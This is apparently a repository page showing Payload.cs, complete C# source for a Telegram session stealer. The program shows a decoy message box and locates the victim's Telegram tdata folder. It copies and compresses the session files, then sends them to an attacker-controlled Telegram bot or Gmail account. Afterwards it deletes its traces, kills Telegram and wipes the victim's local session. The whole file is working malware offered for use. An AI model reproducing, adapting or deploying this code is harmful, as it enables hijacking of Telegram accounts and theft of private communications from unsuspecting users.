-
Notifications
You must be signed in to change notification settings - Fork 36
/
Payload.cs
504 lines (462 loc) · 17.8 KB
/
Payload.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Payload
{
class Program
{
#region Variables
private static string Session;
private static string Token;
private static string ID;
private static string Method;
private static bool UseProxy;
private static string ProxyIP;
private static string ProxyPort;
private static string SenderEmail;
private static string RecieverEmail;
private static string SenderEmailPassword;
private static string TGVersion;
private static string TDLocation;
#endregion
#region Main
static void Main()
{
var Config = ReadConfigs();
#region ParseConfig
string fakeMessageConfigs = "";
if (Config[0] == "0")
{
#region ParseTelegramApiConfig
try
{
Token = Config[2];
ID = Config[3];
fakeMessageConfigs = Config[4];
Method = "Telegram";
UseProxy = int.Parse(Config[1]) == 1;
if (UseProxy)
{
var ProxyConfig = Config[2].Split('~');
ProxyIP = ProxyConfig[0];
ProxyPort = ProxyConfig[1];
}
}
catch { }
#endregion
}
else
{
#region ParseGmailApiConfig
try
{
var GmailConfig = Config[1].Split('~');
SenderEmail = GmailConfig[0];
SenderEmailPassword = GmailConfig[1];
RecieverEmail = GmailConfig[2];
fakeMessageConfigs = Config[2];
}
catch (Exception) { }
#endregion
}
#endregion
FakeMessager(fakeMessageConfigs);
EXPL0IT();
#region SendSession
Thread.Sleep(1000);
if (File.Exists(Session))
{
SendTData(Session);
}
Thread.Sleep(1000);
ClearLogs();
Application.Exit();
#endregion
KillCurrentSession(TDLocation);
}
#endregion
#region Functions
#region ReadConfigs
private static string[] ReadConfigs()
{
string[] Config = new string[6];
try
{
try
{
byte[] Stub = File.ReadAllBytes(Application.ExecutablePath.ToString());
byte[] ConfigArry = new byte[1024];
Array.ConstrainedCopy(Stub, Stub.Length - 1024, ConfigArry, 0, 1024);
ConfigArry = Reverse(ConfigArry);
string ConfigString = Encoding.UTF8.GetString(ConfigArry).TrimEnd('\x00');
Config = ConfigString.Split('`');
}
catch { Application.Exit(); }
}
catch { }
return Config;
}
#endregion
#region FakeMessanged
private static void FakeMessager(string fakeMessageConfigs)
{
if (fakeMessageConfigs != "0~0~0")
{
try
{
string[] FMC = fakeMessageConfigs.Split('~');
string Type = FMC[0];
string Title = FMC[1];
string Body = FMC[2];
if (Type == "Warning")
{
MessageBox.Show(Body, Title, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
else if (Type == "Info")
{
MessageBox.Show(Body, Title, MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else if (Type == "Error")
{
MessageBox.Show(Body, Title, MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
catch { }
}
}
#endregion
#region ClearLogs
static void ClearLogs()
{
try
{
Thread.Sleep(5000);
String Temp = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\TSH";
DirectoryInfo Dir = new DirectoryInfo(Temp);
foreach (FileInfo SingleFile in Dir.GetFiles())
{
SingleFile.Delete();
}
foreach (DirectoryInfo SingleDirectory in Dir.GetDirectories())
{
SingleDirectory.Delete(true);
}
Directory.Delete(Temp);
string Romaing = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string[] Compress = { Romaing + @"\rar_cli.exe", Romaing + @"\Session.rar" };
File.Delete(Compress[0]);
File.Delete(Compress[1]);
}
catch (Exception)
{ }
}
#endregion
#region Reporter
private static void Report2Tel(string msg)
{
if (Method == "Telegram")
{
string _Url = "https://api.telegram.org/bot" + Token + "/sendMessage?chat_id=" + ID + "&parse_mode=html&text=<b>" + msg + "</b>";
try
{
WebClient client = new WebClient();
if (UseProxy)
client.Proxy = new WebProxy(ProxyIP, int.Parse(ProxyPort));
string str = client.DownloadString(_Url);
}
catch
{
}
}
}
#endregion
#region TryHookProccess
private static string TryHookProccess()
{
bool HookedTelegram = false;
string SessionLocation = null;
try
{
Process[] process = Process.GetProcesses();
foreach (Process prs in process)
{
if (prs.ProcessName == "Telegram")
{
Report2Tel("Detected Telegram !");
Report2Tel("Proccess: " + prs.ProcessName);
ReErr:
try
{
Report2Tel("Location: " + prs.MainModule.FileName);
}
catch
{
goto ReErr;
}
SessionLocation = prs.MainModule.FileName.Replace("\\Telegram.exe", "") + "\\tdata";
Report2Tel("Session Location: " + SessionLocation);
HookedTelegram = true;
break;//if we dont break here and another telegram proccess exists, then TryHookProcess will hook last one (in this case second one)
}
}
}
catch { }
if (!HookedTelegram)
{
return "NotHooked";
}
else
{
return SessionLocation;
}
}
#endregion
#region HuntSession
private static string HuntSession(string TDataLocation)
{
string Temp = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\TSH";
Directory.CreateDirectory(Temp);
string[] Files, Directoryes;
string SuperDirectory = null;
#region Get Session
try
{
if (Directory.Exists(Temp))
{
DirectoryInfo dir = new DirectoryInfo(Temp);
dir.Delete(true);
}
}
catch { }
if (Directory.Exists(TDataLocation)) //Get Telegram Session
{
Files = Directory.GetFiles(TDataLocation);
Directoryes = Directory.GetDirectories(TDataLocation);
Directory.CreateDirectory(Temp + @"\TelegramSession\" + "tdata");
foreach (var Single in Directoryes)
{
try
{
DirectoryInfo Check = new DirectoryInfo(Single);
if (Convert.ToInt64(Check.Name.Length) > 15)
{
Directory.CreateDirectory(Temp + @"\TelegramSession\" + @"tdata\" + Check.Name);
SuperDirectory = Check.Name;
}
}
catch { }
}
foreach (var Single in Files)
{
try
{
FileInfo Check = new FileInfo(Single);
if (Convert.ToInt64(Check.Length) < 5000 &&
Check.Name.Length > 15 &&
Path.GetExtension(Single) != ".json")
{
File.Copy(Single, Temp + @"\TelegramSession\" + @"tdata\" + Check.Name);
}
}
catch (Exception) { }
}
string[] Map =
{
TDataLocation + @"\" + SuperDirectory + @"\map0",
TDataLocation + @"\" + SuperDirectory + @"\map1"
};
if (File.Exists(Map[0]))
{
File.Copy(Map[0], Temp + @"\TelegramSession\" + @"tdata\" + SuperDirectory + @"\" + "map0");
}
if (File.Exists(Map[1]))
{
File.Copy(Map[1], Temp + @"\TelegramSession\" + @"tdata\" + SuperDirectory + @"\" + "map1");
}
TDLocation = TDataLocation;
}
#endregion
return CompressSession(Temp + @"\TelegramSession\");
}
#endregion
#region KillCurrentSession
private static void KillCurrentSession(string SessionPath)
{
try
{
var telegrams = Process.GetProcessesByName("Telegram");
foreach (var telegram in telegrams)
telegram.Kill();
}
catch (Exception ex)
{
Report2Tel("[Kill Target Session: KillProcess] - Error: " + ex.Message);
}
try
{
var tdata = new DirectoryInfo(SessionPath);
foreach (var file in tdata.GetFiles())
{
if (file.Name == "working")
continue;
file.Delete();
}
}
catch (Exception ex)
{
Report2Tel("[Kill Target Session: DeleteSession] - Error: " + ex.Message);
}
}
#endregion
#region Compress
private static string CompressSession(string TDataLocation)
{
#region Run RAR Proccess
string RCL = TDataLocation.Replace("\\tdata", "");
try
{
Report2Tel("Compressing Session...");
File.WriteAllBytes(RCL + @"\rar_cli.exe", Properties.Resources.rar_cli);
System.Diagnostics.Process cmd = new System.Diagnostics.Process();
cmd.StartInfo.WorkingDirectory = RCL;
cmd.StartInfo.FileName = "rar_cli.exe";
cmd.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
cmd.StartInfo.Arguments = "a -ep1 -r Session.rar tdata";
cmd.Start();
}
catch { }
#endregion
string _location = TDataLocation.Replace("tdata", "");
return TDataLocation + @"\Session.rar";
}
#endregion
#region SendTData
private static void SendTData(string TData)
{
if (Method == "Telegram")
{
Report2Tel("Sending TData... 🥳");
byte[] _File_Bytes = File.ReadAllBytes(TData);
string _File_Name = TData;
string _Url = "https://api.telegram.org/bot" + Token + "/sendDocument?chat_id=" + ID + "&caption=There you go!";
UploadMultipart(_File_Bytes, _File_Name, "application/x-ms-dos-executable", _Url);
}
else
{
SendMail(TData, RecieverEmail, SenderEmailPassword, SenderEmail);
}
}
#endregion
#region Telegram Bot HTTP Post
private static void UploadMultipart(byte[] file, string filename, string contentType, string url)
{
try
{
var client = new WebClient();
if (UseProxy)
client.Proxy = new WebProxy(ProxyIP, int.Parse(ProxyPort));
string boundary = "------------------------" + DateTime.Now.Ticks.ToString("x");
client.Headers.Add("Content-Type", "multipart/form-data; boundary=" + boundary);
var fileData = client.Encoding.GetString(file);
var package = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", boundary, filename, contentType, fileData);
var nfile = client.Encoding.GetBytes(package);
byte[] resp = client.UploadData(url, "POST", nfile);
Environment.Exit(0);
}
catch { }
}
#endregion
#region SendMail
static void SendMail(string Attach, string From, string Password, string TO)
{
try
{
MailMessage Transfer = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
Transfer.From = new MailAddress(From);
Transfer.Subject = "[Telegram Session]";
Transfer.Body =
"MachineName: " + Environment.MachineName.ToString() + Environment.NewLine
+ "OperationSystem: " + Environment.OSVersion.ToString() + Environment.NewLine
+ "Telegram Version: " + TGVersion + Environment.NewLine;
var Attachment = new Attachment(Attach);
Transfer.Attachments.Add(Attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new NetworkCredential(From, Password);
Transfer.To.Add(TO);
SmtpServer.EnableSsl = true;
SmtpServer.Send(Transfer);
Transfer.Dispose();
}
catch (Exception)
{ }
}
#endregion
#region Reverse
static byte[] Reverse(byte[] Data)
{
byte[] Temp = new byte[Data.Length];
for (int i = 0; i < Data.Length; i++)
{
Temp[(Temp.Length - 1) - i] = Data[i];
}
return Temp;
}
#endregion
#region GetTelegramVersion
private static string GetTelegramVersion(string tdataPath)
{
string TGPath = tdataPath.Replace("tdata", "Telegram.exe");
var version = FileVersionInfo.GetVersionInfo(TGPath).ProductVersion;
return version;
}
#endregion
#region EXPL0IT
private static void EXPL0IT()
{
string TDataDefaultLocation = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Telegram Desktop\tdata";
Report2Tel("Checking Default Location...");
if (Directory.Exists(TDataDefaultLocation))
{
Report2Tel("Detected session!" + Environment.NewLine + "NOTE: User Used Default Location 😁");
TGVersion = GetTelegramVersion(TDataDefaultLocation);
Report2Tel("Telegram Version: " + TGVersion);
Session = HuntSession(TDataDefaultLocation);
}
else
{
Report2Tel("Tdata not exists, User is using Custom Location 🙃");
#region Wait For Proccess
Report2Tel("Waiting for telegram proccess to track tdata location... 😎");
string SessionLocation = TryHookProccess();
if (SessionLocation != "NotHooked")
{
Session = HuntSession(SessionLocation);
}
Report2Tel("Telegram is not running! Waiting for process... 🧐");
while (SessionLocation == "NotHooked")
{
try
{
SessionLocation = TryHookProccess();
}
catch { }
Thread.Sleep(50);
}
Thread.Sleep(100);
if (SessionLocation != "NotHooked")
{
Session = HuntSession(SessionLocation);
}
#endregion
}
}
#endregion
#endregion
}
}